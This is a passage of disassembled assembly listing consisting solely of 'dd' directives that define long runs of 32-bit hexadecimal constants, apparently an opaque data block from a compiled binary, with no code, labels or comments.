		dd 0CF0BBF10h, 561CDA15h, 0BCCDDA40h, 75A47A60h, 0BB7D0C0Bh
		dd 25740699h, 6FAB324Bh, 0A4CF3ECAh, 0CE60A82Ah, 263002h
		dd 0FED542D4h, 4001061Bh, 5F102512h, 965D3AF2h,	305C0B8h
		dd 5394F2Bh, 524ED7ACh,	0A0FFB7AAh, 96F7DAABh, 33C94042h
		dd 0FE382130h, 957B00CFh, 8ABDB954h, 1CFD1228h,	4A39F36Ah
		dd 33E835E3h, 0DD2BF900h, 0F4563520h, 0CB6297A6h, 4683FFB7h
		dd 0F0956B22h, 9809DFD3h, 0A1C725C1h, 6F1251E5h, 81E1DEFBh
		dd 0F88A72C7h, 9EB307Fh, 11498DB5h, 0E380C2C1h,	0E93F5E2Eh
		dd 0D549E36Dh, 0C11B5A04h, 124E1D7h, 336E810Fh,	0FF8BC5C0h
		dd 0F24C91FDh, 15282F61h, 0E679D3C3h, 31C6E091h, 16612D95h
		dd 0AFC45259h, 875E8A49h, 1FA86A59h, 9CFA7C6Ah,	0D1228053h
		dd 45531115h, 13EADD00h, 0BD31605Fh, 94104EF9h,	0EEC9C4E9h
		dd 6A5A71E3h, 0D00A0088h, 5785AA7Ch, 0F85012AEh, 0EAE15Bh
		dd 0B33FBF9Ah, 2F6495h,	65D0C93Bh, 1FD49949h, 690BDA7Fh
		dd 5F156413h, 0ECB6C100h, 10B615Ah, 560E3DB5h, 9F16734h
		dd 0E3F74DDFh, 3DA8529Eh, 2097DB0h, 7649C5BDh, 91E2C05h
		dd 0A1FE2E95h, 53D4735Ah, 0D07A9798h, 45B20C50h, 5E0F2B40h
		dd 0B85A948Eh, 0D9C88099h, 76B55Eh, 0E38AA6A0h,	396A58Ch
		dd 0F32EBA97h, 0AD05393h, 5513199Ah, 0D90460B2h, 8001297Dh
		dd 2E901DC7h, 2700AEADh, 0E72C2AB2h, 0A801BDB7h, 43FAE3B8h
		dd 84609050h, 409ABC6Dh, 0DDDE68FCh, 0F8C44827h, 26210BC8h
		dd 1C503BD6h, 0C0001A95h, 250D0177h, 5E638F8h, 22950976h
		dd 5D7EE902h, 4614AB20h, 12971F8Bh, 6AD37FE1h, 572E9871h
		dd 8005DEC6h, 0F4E4E2DBh, 171096Ch, 46DDE0B9h, 0B6DF5A56h
		dd 3014B205h, 0EE95F59Fh, 0D4CA9E83h, 0AC888600h, 8CEA9ABFh
		dd 0A4575A56h, 0D7B08962h, 22158D12h, 38817028h, 0C69261C7h
		dd 56E0E045h, 5F5B501Ch, 0B21EBBC1h, 0B46C09CAh, 0CB6C204Fh
		dd 6100EE85h, 4F1F2FB5h, 9B82EDh, 0BEDC77F8h, 7B9358E5h
		dd 0EB322EEBh, 40C3F856h, 0E5955B16h, 0D4B3095Bh, 95C946F5h
		dd 4B972FC6h, 3F98872Fh, 0F671DA25h, 8BB170BCh,	0BC12DD3Dh
		dd 0F21B004Ah, 2B9AB79Eh, 2349ED9Dh, 10EF1297h,	4BDFE3h
		dd 50C0D8C8h, 0E09C6BB7h, 0F06427h, 4FBFFD9Dh, 618AEC0Dh
		dd 0C509B970h, 3026E09Eh, 4D8D318Fh, 61253CCDh,	85F0B5F7h
		dd 0AB0A2D41h, 86B2D112h, 0C0C204D2h, 0A35AAC9Ah, 0E823294Ch
		dd 492400EDh, 0A4CCBB3Ah, 2DB75700h, 65E95B30h,	25130258h
		dd 0A0195FC1h, 0F83CC583h, 0EF441C27h, 0EB18644Ch, 1DD36503h
		dd 0CED9A07Fh, 445A12BCh, 0AE68E361h, 772C234Bh, 51E581F8h
		dd 0AF7AA404h, 0BD0808FBh, 255465A5h, 84B59EF2h, 0C2172F0Eh
		dd 0D8964A3Dh, 0ED2F966Bh, 0C234C3A6h, 2F3CFB99h, 8DC68DF8h
		dd 86DD95F1h, 61DC09D7h, 27DE9053h, 5A40329h, 0A9D14013h
		dd 51A1F12Ah, 0D3E0AABFh, 978F00DAh, 0E0623C61h, 3A974ABAh
		dd 5022DB73h, 1301068Dh, 0DEFDA25Bh, 132E35C7h,	0B1F1A718h
		dd 85685E4Ch, 73D45D80h, 120025CAh, 58C5C26Eh, 4C285CF3h
		dd 74051A4Fh, 0ABF8591Dh, 0BD093860h, 9F035219h, 96304076h
		dd 0A983BB05h, 67B1688Ah, 412012E7h, 0B40BAC26h, 0E986AAFh
		dd 0C049594Fh, 0DB52FABh, 53835E0Fh, 1520857h, 0BAE3F592h
		dd 95D1532Ch, 14B8A05Bh, 9A1A4B8Ch, 0CE14C8A6h,	31852921h
		dd 0FC9D6A22h, 0A691202Ah, 60008CB0h, 0BA9E7F75h, 96A26718h
		dd 8ED040BBh, 4A00F0E3h, 473C3416h, 2A82285h, 0C80DF317h
		dd 35775B94h, 8018911Fh, 3BC7B42Eh, 2086906Ah, 0BF0511A1h
		dd 2A69C268h, 490CC008h, 25C946DFh, 0ED732025h,	0C33525h
		dd 580C3217h, 0BF2C5AD0h, 0D66336C2h, 0E5A38067h, 73F9002Bh
		dd 1E7FF559h, 0A9720E4h, 0DEBAF2h, 368F934Ch, 4FA557D2h
		dd 50FC1325h, 97CC7A69h, 0BF0FEE18h, 0CE8DFF4Bh, 63B8C829h
		dd 0BB1501E2h, 85A0890Fh, 0DD252F75h, 0D2C19D64h, 8B3F02A9h
		dd 0D39A4E6Fh, 3D64BB80h, 461693B5h, 80C70950h,	0B0E3284h
		dd 0EF1291C9h, 7C439EF6h, 0CA7E80ACh, 0E23B4A42h, 6433024Bh
		dd 409F6235h, 0A7DF55h,	2F796EEBh, 9EE84B53h, 2EB32D5Ch
		dd 0BB076D51h, 485FA3Ah, 694144AAh, 965B041Dh, 1BAC58B9h
		dd 2E7C9F8Ch, 8019F540h, 0D41D4BEBh, 58A6EA26h,	0CE747FF0h
		dd 0A5F55C9Dh, 622721C5h, 0AA375774h, 4B6D7981h, 77C6EF2h
		dd 8355A081h, 0F40EF8DFh, 0CAF31E01h, 26E344A5h, 0B830A9F5h
		dd 0E564B5D8h, 0ED16214Eh, 82A4B2B9h, 592907CCh, 0D51832E8h
		dd 0E3047C2Ah, 0EDB958F5h, 0B9FB8B84h, 5DA6D3ECh, 467E64A0h
		dd 2B2DD57Bh, 0DAD149C4h, 68F1282Eh, 74BD36D6h,	0C84BDDBCh
		dd 704308CDh, 0C66127C9h, 8231B755h, 31AAF5C2h,	4A5FA77h
		dd 6B6D4DBBh, 7D54CC43h, 3D5ED100h, 0EB5558F7h,	32C60404h
		dd 0BDC98645h, 8C15EC1Ah, 2938F104h, 9DE0C9B5h,	0F2A41CE9h
		dd 0EAB742FFh, 0B7DDC18Bh, 0E2E01693h, 9F9907D5h, 2C92446h
		dd 405F112h, 0D619BC5Bh, 9066AC2h, 52FA1740h, 0D1DDE09Dh
		dd 24504F6Bh, 2DE2FF02h, 0B48A381h, 0AEDB3E90h,	74571B83h
		dd 2E966C02h, 7F6A2230h, 0C956909Ah, 5B1D4069h,	0D02C936Ah
		dd 0FCC2BA28h, 22ECBBD5h, 115730D9h, 652031ACh,	0B350802Ch
		dd 9913BA4Bh, 0F99EE330h, 259400A8h, 0A53B98FCh, 5303A66Bh
		dd 9A70F510h, 0B79C1A77h, 696D0819h, 5AEC6E0h, 7F771A2h
		dd 89995AB2h, 0B9291485h, 8B8D79Ah, 9AC50325h, 40976DA7h
		dd 7E3C7D92h, 0E41AEE64h, 0C92E15A0h, 0F9CDD177h, 0ECE0E4C0h
		dd 7D8D1631h, 0E26AB82Ch, 0C22B2550h, 1AD70D43h, 7D35554Eh
		dd 92AA9300h, 1C60505Ch, 0E533BE66h, 8A7310FFh,	0ED6155DCh
		dd 3329E488h, 658D8B3Ch, 7AD41430h, 82D804BBh, 0AE5CE91Fh
		dd 41DF5738h, 15EA42BBh, 137428A9h, 6625F6A4h, 4DE980A8h
		dd 2A908119h, 7426C8h, 0FA271F17h, 83B9A2BFh, 50482302h
		dd 4090DE8Ah, 9722E959h, 35B4BD14h, 76DC97DCh, 0E3B8E851h
		dd 15A9D200h, 0D397A1D9h, 37C74003h, 10B560CCh,	250D7988h
		dd 0B8F6CC5Bh, 97DFE4DDh, 2854EF1Ah, 8B1F530Ah,	6A176918h
		dd 47565CFFh, 0FCD4C8C0h, 520055B9h, 6FF7AA06h,	29E3926h
		dd 5756168Ch, 6EC05F09h, 0CFBD08D1h, 1B95401Eh,	0B7162977h
		dd 6212D9BFh, 4222CEB6h, 99A40F7Eh, 5F526016h, 7E2F88h
		dd 0C1230ADFh, 58C0FCADh, 0EE53A400h, 0AF283C87h, 805606B9h
		dd 4AB061CBh, 0FCDFBF31h, 0E6010A79h, 7C016F70h, 0FD8A71E4h
		dd 3D8482Eh, 0D3E1F892h, 2131B701h, 89D3612Eh, 2B2E71B5h
		dd 0FB62D359h, 6085FC3Bh, 0F681C85Ah, 2BF31316h, 3097BF4Eh
		dd 39F5BBC1h, 68B3FE8h,	0B9B501D1h, 0C470FD15h,	0EC85EB83h
		dd 0C8D690B8h, 6400968Fh, 7E155C6Eh, 3B6A2385h,	0FB8203AAh
		dd 9DF3275Eh, 8E40717Eh, 7F3912DEh, 2B7D0C62h, 0F5BC0671h
		dd 0E25F3240h, 3495F257h, 0AB132211h, 20398D21h, 89893718h
		dd 1DA57DF9h, 90BDBB64h, 3932D71Bh, 56008DCCh, 0FCE46AFDh
		dd 5B0EDE29h, 0EBB20E8Fh, 1BFD15Fh, 0A911ABD7h,	4687E86Ah
		dd 0DC8D5C0Fh, 3AA4422Ch, 60E05C5Bh, 0F03D781h,	915E6921h
		dd 79284829h, 0C98A1C4Bh, 405DF950h, 32B62303h,	0B408FA4Dh
		dd 1290BE56h, 10BBE65Bh, 81013DC2h, 843C35E7h, 0B4977E4Ch
		dd 75E3B24Fh, 8B27DB4Eh, 0C87E0F6Dh, 0B9F5051Fh, 6F8F53C6h
		dd 92853EEDh, 0A112A728h
		dd 12A2CF3h, 7C8C9581h,	5B385002h, 807B5EB8h, 4880EF39h
		dd 0F41B4C0h, 290B60E7h, 5C2089BDh, 2D7E01Fh, 444B41C4h
		dd 0E25E3C8Fh, 0EE5500C1h, 3FA7F371h, 4E22013Bh, 46D054C6h
		dd 511BE447h, 0B120824Bh, 2B764E5h, 5C9E4910h, 65C5B5Fh
		dd 57C4554Bh, 0F033E280h, 6D79A525h, 601B64EEh,	26C0DB02h
		dd 0ABE341h, 0F4A8BB65h, 91904B2Ah, 542F1D25h, 17765A08h
		dd 2B1002D4h, 8358353Ah, 915D095Ch, 0C41A8016h,	0B2FC8AD8h
		dd 0DE149523h, 0DFB75C4Fh, 0A7E8AAB3h, 951770F6h, 0EAE8287Bh
		dd 0C45A3F53h, 0A2F28CCEh, 63070900h, 97C83685h, 0A6EF0020h
		dd 0C6DC9F6Fh, 612D55Ah, 0F2B3B6ABh, 4101A664h,	9E1FFF9h
		dd 0B61BB9FCh, 64D3ECAEh, 62AD044Ah, 8B5FA380h,	422588ECh
		dd 9B56581h, 0C67B0466h, 75DBE8D0h, 2511B096h, 0D6655BFFh
		dd 24616B38h, 23040637h, 3EB2EDBDh, 9525F760h, 8DCA6C12h
		dd 0F12E60C8h, 8705ABFDh, 89E61893h, 0A8C524FAh, 0F3E64ECEh
		dd 0B1F294E0h, 48A1B000h, 4F38E649h, 359D1229h,	17D4B315h
		dd 98E7010Bh, 73708A0h,	494F13Eh, 890BA653h, 542D5882h
		dd 0B341E960h, 978A6B0Ch, 91099512h, 245D8D85h,	6AE350D8h
		dd 1FBFA58Ch, 25254046h, 0BED243FAh, 85083FE2h,	81003239h
		dd 5676C2C7h, 3D6D360h,	31D5B57Bh, 50681E02h, 5E3A2CA0h
		dd 0C8DE1614h, 0FE07EA60h, 0FF7DE742h, 130283Ch, 1BBA6674h
		dd 2A615F91h, 0A3AF3580h, 0A63A4C33h, 0A2ED2E04h, 112E232h
		dd 74E65D80h, 7B30DE67h, 2AEF0BF4h, 0B7FAD347h,	40C46F9Dh
		dd 37FB4C4Ah, 92CF2002h, 0D7F8C64Fh, 15916F35h,	0BBA81780h
		dd 0E20B5D5Fh, 92ECE93Dh, 69EE54BFh, 0BCC0C76Dh, 4E0D719h
		dd 65C4AD99h, 179EFC75h, 0DCFD2421h, 9173BBC0h,	9A954630h
		dd 0F9D385D6h, 0CBAA70FFh, 0EFE86591h, 5CA8700Bh, 4B0FE2Ch
		dd 2914519Dh, 0A44AD538h, 0D9209D7Ch, 0E967D22h, 507F27BFh
		dd 4CED4D81h, 37DDEE2Dh, 8E47000Fh, 0B2120128h,	38DDE495h
		dd 0A382C1EFh, 880F8274h, 8CEC13E4h, 0A270115Eh, 865575h
		dd 0E4CF8259h, 7CB9B5C3h, 24BC6595h, 0C10FD609h, 0E0D56711h
		dd 0BBE7B047h, 24314E7Bh, 0A2F4A8ABh, 0A790FD60h, 320228C9h
		dd 254204A7h, 402D549Ah, 319EA435h, 662C3B0Fh, 0C3DE037h
		dd 2A1672Dh, 0D0210A55h, 53FE614Dh, 31B8F660h, 2AE3E0Dh
		dd 65EF7507h, 90F9B0CEh, 0C80948EAh, 720E37C9h,	0F20E92Ch
		dd 0C6CD1663h, 80A12535h, 58736FFEh, 0F6E989ADh, 0A0F85A54h
		dd 4FA9204Ah, 6AD188D2h, 0CB845401h, 25D687F8h,	724FEBC8h
		dd 12277EF9h, 1207CA6h,	0E66EB427h, 3E57313Bh, 0FFC9F29Bh
		dd 3F9C1A94h, 145D04D4h, 0E99529CEh, 1610FD2h, 56280985h
		dd 83027ACBh, 900B25FDh, 6A3207h, 27645503h, 0D11BBF69h
		dd 0F6FACC07h, 0C842464Dh, 40BFF40Bh, 0A04096D0h, 36358004h
		dd 2CAAF1B8h, 2FC04BC7h, 4849E781h, 0E92F1AB7h,	7474175Bh
		dd 86EE01DCh, 0F4BDEB6Ch, 106050C7h, 2500D44Fh,	340B463Ch
		dd 1158113h, 9CC49E41h,	60764E92h, 85A79ECh, 4FBF1EE3h
		dd 9A016B6h, 1702FC8Ah,	810F9C37h, 0AD5F7903h, 92D5B557h
		dd 4A61E921h, 1013A1CAh, 0E8E6ED04h, 2D598DCh, 8D29B359h
		dd 1CD720E5h, 3DD2F24h,	8B00EE6Ch, 0C49D562Ch, 193F55h
		dd 83679FC0h, 7190E631h, 362F7D7Ah, 8F3BB1F4h, 14846E0Dh
		dd 29032DABh, 1FE4A823h, 927A338Bh, 4BEDB30Eh, 0D7ADDBF1h
		dd 1C59095Bh, 5700ED18h, 4C432C46h, 44D062h, 0BF96DF8Bh
		dd 1FACEC40h, 0F98162B7h, 0FD8A0A9Bh, 0DD53AD81h, 0F29EDFD8h
		dd 8FBE1626h, 987981ABh, 6D352E24h, 4DD49B80h, 810A56C5h
		dd 4A11BD50h, 0D1FEB225h, 4E7ACB4h, 5C5462A8h, 9657B8BBh
		dd 80F7DBAFh, 158BB6A9h, 0E0890453h, 0E6A7D01Bh, 3315B25Dh
		dd 0B58997D0h, 8DA80FF6h, 0D4120BEBh, 41E06640h, 8D330B60h
		dd 0DEFA2B71h, 0A5E774B5h, 0B2011962h, 41175DDFh, 6A0FADE7h
		dd 9A5AE2CBh, 5FDD8299h, 0B0B1C045h, 0DB66C782h, 1E712952h
		dd 60E98DA7h, 2DF6E6Bh,	8B58E8B5h, 953D46F9h, 5E800AB7h
		dd 550960D0h, 96581422h, 31389778h, 0F2A9B6DFh,	0F676301Dh
		dd 884CB100h, 9CEBCD22h, 0B559904Bh, 605069E8h,	905A5127h
		dd 1B89D87h, 128CDA3Eh,	6A61596Fh, 0FCEF7DEh, 2B13862Dh
		dd 0CC7BAE57h, 0B7AA4600h, 646F6506h, 0BD72B112h, 6F4A33E2h
		dd 0ADBF1225h, 1201A88h, 4BA37E0Bh, 2E416098h, 3F2A3A29h
		dd 1B2393h, 77C2A0B2h, 0B70B4C46h, 98579688h, 9A1CD4h
		dd 4BDA477Bh, 5C9D5E31h, 3E01DFFCh, 7E7AED37h, 0D5715B9Ch
		dd 241008D8h, 0DE64967Bh, 0B5E88812h, 0C85C004h, 0D8A761B8h
		dd 5ACB2947h, 2E619F33h, 67722E24h, 0B5CEE309h,	1A82465h
		dd 958F4880h, 0C5012CF0h, 0B3303502h, 322E5B5Fh, 0DA405070h
		dd 0DC7E67E7h, 5B501497h, 0B0CEE739h, 2D4B36h, 554117Ch
		dd 0DF80C7E0h, 5A8DBB4Bh, 0C04AAF38h, 65958957h, 3BE3314Ah
		dd 6B8B0D7h, 9572E980h,	0A9061AC2h, 8B2717D1h, 0C11FCDC1h
		dd 30517F59h, 4A4A4E65h, 0DB3AFED9h, 0E0978005h, 0A00D5459h
		dd 8208F5E2h, 50AB275Fh, 0E10E5E5Bh, 3B6AA531h,	0A22D382Ch
		dd 62E44044h, 9F8301Dh,	0ECCAEFA4h, 39414697h, 86077E97h
		dd 30B7C58Bh, 60DF6604h, 3C0CE922h, 7F80596Dh, 4A5DFCD8h
		dd 0FF248DD1h, 0F1020677h, 0F8613888h, 0C8055F2Eh, 55004113h
		dd 973CE4AAh, 0B3EC84h,	382373DBh, 90F513E2h, 0B505C6B5h
		dd 1BE07B76h, 131281Eh,	11A7459Dh, 4161B36Dh, 82FE8B84h
		dd 598529DCh, 0C4675527h, 0B56214E4h, 91BEC55h,	0F5FCF2BBh
		dd 89820871h, 1C27A58Dh, 0EA635BDh, 8B40B017h, 419464A4h
		dd 55252AB0h, 9C08C62Dh, 1000D4E3h, 0D791AF70h,	947DF2A8h
		dd 0B80A096Eh, 5E440C71h, 0FFC5BB47h, 1DD176CBh, 0B2F62900h
		dd 16346BC3h, 1CD2CD33h, 0CBEA80D3h, 26A5F71h, 0EB78A7B3h
		dd 63530987h, 807718F1h, 0CBD3801Fh, 37B32550h,	0C9201CC4h
		dd 8478A32Eh, 80B66053h, 0E97022CFh, 201A1C97h,	0FDB4CAF9h
		dd 7AABAA40h, 11B2158Ch, 6EAD5F32h, 12A1D073h, 0BA23B5ACh
		dd 86BF8660h, 776800E3h, 0E0A20CCh, 0D4001C87h,	0DFDD1830h
		dd 0B5518213h, 4D9FAD6Eh, 0FEB843C5h, 0F509080h, 45818752h
		dd 3DB2BA3h, 6EC86780h,	810979B8h, 71DE8A03h, 0F756A586h
		dd 989F6DEh, 0BD17D2F6h, 0BF3E6973h, 0C43384D3h, 6DB9660Ah
		dd 0E785F6D7h, 0C690EDA7h, 4D6A2F3Dh, 0A4BCC6FFh, 0E31A9D0Bh
		dd 7222091Ch, 5A9C98B0h, 0F6F21769h, 2FB0E04Fh,	9BE0560h
		dd 0AE107995h, 8A211E28h, 530BD384h, 377FBC8h, 0FA0E471Fh
		dd 0B884B0C0h, 0F171801Dh, 1B5DD5Eh, 5AFEB2B3h,	0C0F5209Dh
		dd 972F6E21h, 181BD076h, 0D65F4828h, 11971FA1h,	32418898h
		dd 0A52F8589h, 668EF148h, 2311102Dh, 471E413h, 0AE24E1BFh
		dd 66C28932h, 847625A3h, 2E50B4C1h, 18DE9C0Ch, 18E65838h
		dd 6BAF80Ah, 340E8B18h,	0D781C800h, 18257CBFh, 0BCD5565Eh
		dd 0E05BE512h, 0C30181B4h, 33549EAFh, 1934C82Bh, 0D1B28306h
		dd 0F8171578h, 4347BE9h, 85E888AEh, 0A5690454h,	0D2B0C41h
		dd 108F5C5h, 756D8D82h,	54DD2A39h, 0A7F8206Bh, 1D012181h
		dd 0CAAD6F64h, 40FD66DFh, 24931F7Ch, 0C474AC1Ah, 70B8BEB7h
		dd 6DBD89A0h, 0FC70642h, 0BB27AC8Ch, 427F0B0Bh,	647E884Ah
		dd 19599D85h, 882D28AEh
		dd 0CFEC4D3Dh, 0D5E016F6h, 0BD1209AFh, 21B82F7Dh, 128C15FCh
		dd 0E6FC9997h, 3016B2A7h, 6302F092h, 0BDFA32BBh, 27DE124h
		dd 0B9D1B710h, 6F0DE22Dh, 0CAFB4041h, 0E93089DDh, 934190Eh
		dd 0B38C0031h, 6C5E9E7Bh, 0DC120323h, 0B6E05A4Ah, 75FAFC53h
		dd 4DB7255Bh, 70A27A64h, 59C9DE5Eh, 8CBFE38Dh, 2C3B70F9h
		dd 73B1D2C7h, 81ADDE7Fh, 8F9DA378h, 40E17320h, 0A9F20323h
		dd 7E259994h, 1746D6A7h, 57C16D04h, 0CE83B84Ah,	6C6E960h
		dd 4B75C967h, 0D66C8A61h, 6926C9EEh, 21DB8D0h, 0F261B5DBh
		dd 386AD4BCh, 69517456h, 10C94678h, 46DCEE5Ch, 196B0218h
		dd 78ECAB64h, 9DB22D69h, 3548E59h, 4057C720h, 7A98701Bh
		dd 8598E453h, 89BFD47Dh, 8D2201B3h, 382E2911h, 73D24081h
		dd 4E8D75B2h, 0BBD4041Bh, 0C0F08E52h, 0E4225E2h, 0FF085EC5h
		dd 9D010F02h, 58C4E5DEh, 8B1B9121h, 54FE8D0Fh, 0CC30EF63h
		dd 0DB4B3AB8h, 311E80A1h, 97200D95h, 4384311Bh,	8421BD23h
		dd 7DB10DB8h, 31360A32h, 9EB019F2h, 0E660562Fh,	3F5FF03Ah
		dd 0F34B5B61h, 0D36A2F9Ch, 0BB6E79A3h, 4132048h, 94B6D268h
		dd 13A2FBBCh, 0B18F7876h, 8ADD402Fh, 0A2026848h, 231EE4BCh
		dd 0B7035575h, 43F24D2Dh, 0CF717AF3h, 0BC3E1E61h, 1FCA4A11h
		dd 0A8E50EA0h, 0C459F000h, 2307F551h, 2DCA959Dh, 46D62456h
		dd 4857161Bh, 69D24000h, 54E90D7Ch, 5AB7FE5Fh, 0B2F5A699h
		dd 8AFF3016h, 0DE8B9212h, 0DB401BE3h, 0CA314115h, 9D003ED2h
		dd 6FF92FBFh, 0B5826828h, 2E5F2EC1h, 0CA8C2D35h, 78AA00B1h
		dd 0B470EF9Ah, 2C387131h, 0F09602D4h, 0E09FA527h, 122EADC9h
		dd 0E35F5D15h, 0E0234447h, 43897400h, 4ACD1B9Bh, 0E2900021h
		dd 62F7A73Bh, 0BB002659h, 79765E8Eh, 1680605Fh,	0C253AEE0h
		dd 3757060Eh, 298E001Eh, 3B62F988h, 18F409Fh, 0EF80801Ch
		dd 96B60D49h, 81D2EF40h, 3010E6CFh, 467C6D08h, 572F9604h
		dd 9752725Fh, 0DE41A9DAh, 0DCA8D6FAh, 4F25F90Eh, 561F0293h
		dd 6B635CDEh, 0AF9DD02h, 0F7F66800h, 0A2835A72h, 8985387Bh
		dd 254D31F8h, 0C5BA09A6h, 2D83B069h, 81D1B895h,	7ED5FEC3h
		dd 20504F75h, 0E43A188Ah, 85748C00h, 0E867031h,	12A4BCBh
		dd 0C1B529C0h, 92B1220Fh, 2B5258F1h, 0E4886D61h, 0B4AEAC27h
		dd 4480D1F8h, 0E988B999h, 46BB6400h, 286687C8h,	1CA302A9h
		dd 5FFA8A10h, 0E517254h, 0F9095673h, 0A25921E9h, 0F5AD5002h
		dd 775D5647h, 1FD6794Ah, 0C495AB3Bh, 0BD90BFB8h, 572B8D6h
		dd 10931FA3h, 5A4AACB5h, 669CB21h, 0A9A60405h, 938AB10h
		dd 0BB66884Ch, 0D4EBC929h, 73043B62h, 2693D0C7h, 6BEA0509h
		dd 0F6DB099Dh, 47D8C999h, 4BCB094Ah, 36AC6159h,	8A7CB000h
		dd 6BAA491h, 4F9F7742h,	64CC23DDh, 8E1C9F8h, 53AEEE2Dh
		dd 18155902h, 12174E26h, 177A300h, 5508BE60h, 0E86F1F34h
		dd 49BDC297h, 0B7610029h, 500F9675h, 1DEA8A60h,	0CD5BDBA8h
		dd 8E79F6B1h, 168C16ACh, 43C9961h, 0BF1BA188h, 188BE99Dh
		dd 865406A5h, 6535575Ah, 61BF4F00h, 4B261554h, 8BB5EC89h
		dd 28978433h, 0B1D687ADh, 3A55F213h, 6502F5C3h,	175975B8h
		dd 0BFFDD0A7h, 0BE346A9Bh, 21A8D751h, 1296E4Ah,	20AC9CBEh
		dd 752BFE8Bh, 0A0E5E637h, 426B67Ah, 0D65F1802h,	0C433ACEDh
		dd 1584DF8Bh, 8555B1F8h, 0F0F6B078h, 71FD4D6Bh,	458A00E3h
		dd 0D3C4736Eh, 823B5F00h, 149BDEE9h, 0E33C852h,	9AED5B1Fh
		dd 0A01B765Fh, 57BF8AA7h, 85F7B93h, 4EA37520h, 1286FAD5h
		dd 0A99B2DD8h, 51A1130Eh, 9B9682FDh, 802F8F21h,	9BBB2219h
		dd 0A4D26FDh, 0A99F1F3Bh, 956DA585h, 0DFFBF4E0h, 18742661h
		dd 0DB80C12Bh, 0A252B33h, 0DBCAAE9h, 0BCFD8801h, 0F470AFA9h
		dd 2F03292Bh, 0DBEFF716h, 1088342h, 1D51D0F2h, 63612554h
		dd 0EBE1C176h, 0D3D06925h, 0FF650AC3h, 2FEE5077h, 81B73EEAh
		dd 7A823282h, 76C1AB1Dh, 7602F618h, 50FE88F8h, 4A665811h
		dd 3A0BDD1Ah, 6E0BFE6Eh, 0D9622B2Ch, 1A115435h,	1DBEC480h
		dd 322A512Bh, 0DB0FAD76h, 65605203h, 32B07195h,	0E93802B8h
		dd 5F611BD2h, 40BB1555h, 9AAB8A7Eh, 49093DECh, 0F909870Fh
		dd 5C4627A2h, 75CADF4Ah, 0F9214234h, 67B812h, 7695F91h
		dd 0B32DA003h, 4A462A4Ch, 332B758Ch, 0C60D799Dh, 68D9911h
		dd 29E91E62h, 9BB936D5h, 0DFF58A0h, 20A3604Bh, 0B588FC3Ah
		dd 61012185h, 0FFF451E9h, 0E03A6DC6h, 0FE3E74AFh, 545589BDh
		dd 2CA44FAFh, 0EDB2845Ch, 0C1979C19h, 6000E3E2h, 3F4F01AFh
		dd 4B099B53h, 541FEC90h, 0E1BDC1BCh, 71500219h,	925427EEh
		dd 5E9C0C69h, 57ADBFDEh, 2A1C2A0Eh, 78CADBADh, 0C40D5D7Eh
		dd 92A1A795h, 95ECD9C4h, 2D787BD3h, 0C45AA4B4h,	0AA2F0DD8h
		dd 50BBAA25h, 0E05A93EEh, 7F4F3D58h, 0AC7C19EFh, 24BC6B6Ah
		dd 24183180h, 0B6007220h, 0C95D75AEh, 26C54F2h,	67A53FD1h
		dd 0CD556AA9h, 44FFE912h, 0ADF55CB2h, 4F23D110h, 0F258AACh
		dd 0A8B0B253h, 956F82F7h, 8BF4A9BAh, 3A1902D4h,	0D1FF4D6Bh
		dd 0A8EA8582h, 79517B56h, 7D09FF15h, 6A875425h,	5100D6E2h
		dd 0B1F030DCh, 2C24DB26h, 8FC4AC5h, 0F2271EF1h,	0DDF84EEBh
		dd 2F62A14h, 9EB158A0h,	7877B414h, 7B96C0E9h, 0F059753h
		dd 39621781h, 0AD28DAA0h, 5D0002DDh, 0EB80DC60h, 4A04E946h
		dd 1096CB0Fh, 0C850D98Fh, 0B71B4F0Dh, 8F66A0EAh, 0E98D0963h
		dd 23C22E37h, 76697354h, 3C0A41B6h, 0DBB9CC5Dh,	10CD100h
		dd 2F7F4C0Eh, 8F250E39h, 43F80828h, 66BD525Bh, 0AC014871h
		dd 0A548072Dh, 0EF3BC5BFh, 63B7D5A4h, 0C09700D0h, 5196D32Dh
		dd 0EA8F3B77h, 187B2582h, 6D565BF8h, 9A8057C4h,	254CEDA5h
		dd 546C5F32h, 4CDDF84Ah, 0C5DF515Ah, 0CC0308DCh, 8A00AFEFh
		dd 826296A2h, 4B6A5ECAh, 804D9BFFh, 82846DE8h, 735A008Ch
		dd 0BD333AF0h, 6182067Dh, 8278DDD1h, 4AB99F40h,	2D3CCA1Bh
		dd 8B3559F9h, 6077084Fh, 9571E4E5h, 5011F02Fh, 95A81F0h
		dd 726479A2h, 0E70152B1h, 73849228h, 44AC8D2Ah,	0C3A4FF8Eh
		dd 0C1324439h, 8206A3B8h, 510CB549h, 4D79655Eh,	934BAA5Bh
		dd 252CCC8Fh, 962D923h,	0C82B8140h, 14490B0h, 0F2D1F6F9h
		dd 1BA481h, 51E0B3C7h, 0F437ABBFh, 665B7325h, 44851C14h
		dd 8A5F444Ch, 278CAAFEh, 0B8E32580h, 0F694066Bh, 545A2296h
		dd 4A29A051h, 5B6FA662h, 97EDE5C9h, 0B44D8h, 0FCCECB02h
		dd 5DF507FBh, 320B9195h, 0BFF110Ch, 64616027h, 8D01000Bh
		dd 0D2194F25h, 648995E2h, 41A5ED51h, 282B2795h,	5B426A14h
		dd 0BA16A5Ah, 549C62E0h, 9C01F430h, 2D126ADBh, 16DB581Dh
		dd 242EBDDAh, 0BF25C41Fh, 0DA4901CBh, 58008FACh, 8BA6D3BDh
		dd 53987BA5h, 1503CD70h, 0BC9ABF62h, 713CFE88h,	5FE86CE2h
		dd 1053B912h, 2FA011A7h, 0EB287AA8h, 5D25C253h,	27D6511Bh
		dd 0AA96580Eh, 25C9CF99h, 2BC02B01h, 4181D8DBh,	8B3B4BF4h
		dd 4802F974h, 950A4D3Fh, 0E96EE04Ch, 5C9303DFh,	0FE62E848h
		dd 0D42B008Ah, 0F11EC2B1h, 0D54A874Dh, 1188EFA6h, 0C081F78Eh
		dd 0B13F7DA7h, 4CA900DBh, 0D3963560h, 49692A51h, 9745F490h
		dd 0E071F65Fh, 1FF3F5A5h, 95670AEBh, 7E1C6182h,	7780BE83h
		dd 67BAE7F9h, 1707F674h, 0C0B43181h, 51AD5BB9h,	9261818h
		dd 2E9D50BAh, 21A69079h, 259C3A3Bh, 16CD920h, 5B59703h
		dd 0A6F88067h, 0B98452F3h
		dd 0E657098Dh, 0ADE64E6Eh, 7BBEF1B9h, 659519EEh, 0AECDA734h
		dd 0AB7C5F41h, 16E406FCh, 0B239AA88h, 0A66D002Ah, 80C5BAFDh
		dd 6B712A0h, 0BD46AC5Bh, 0EB01466h, 0DE1CB9E7h,	2342D82Bh
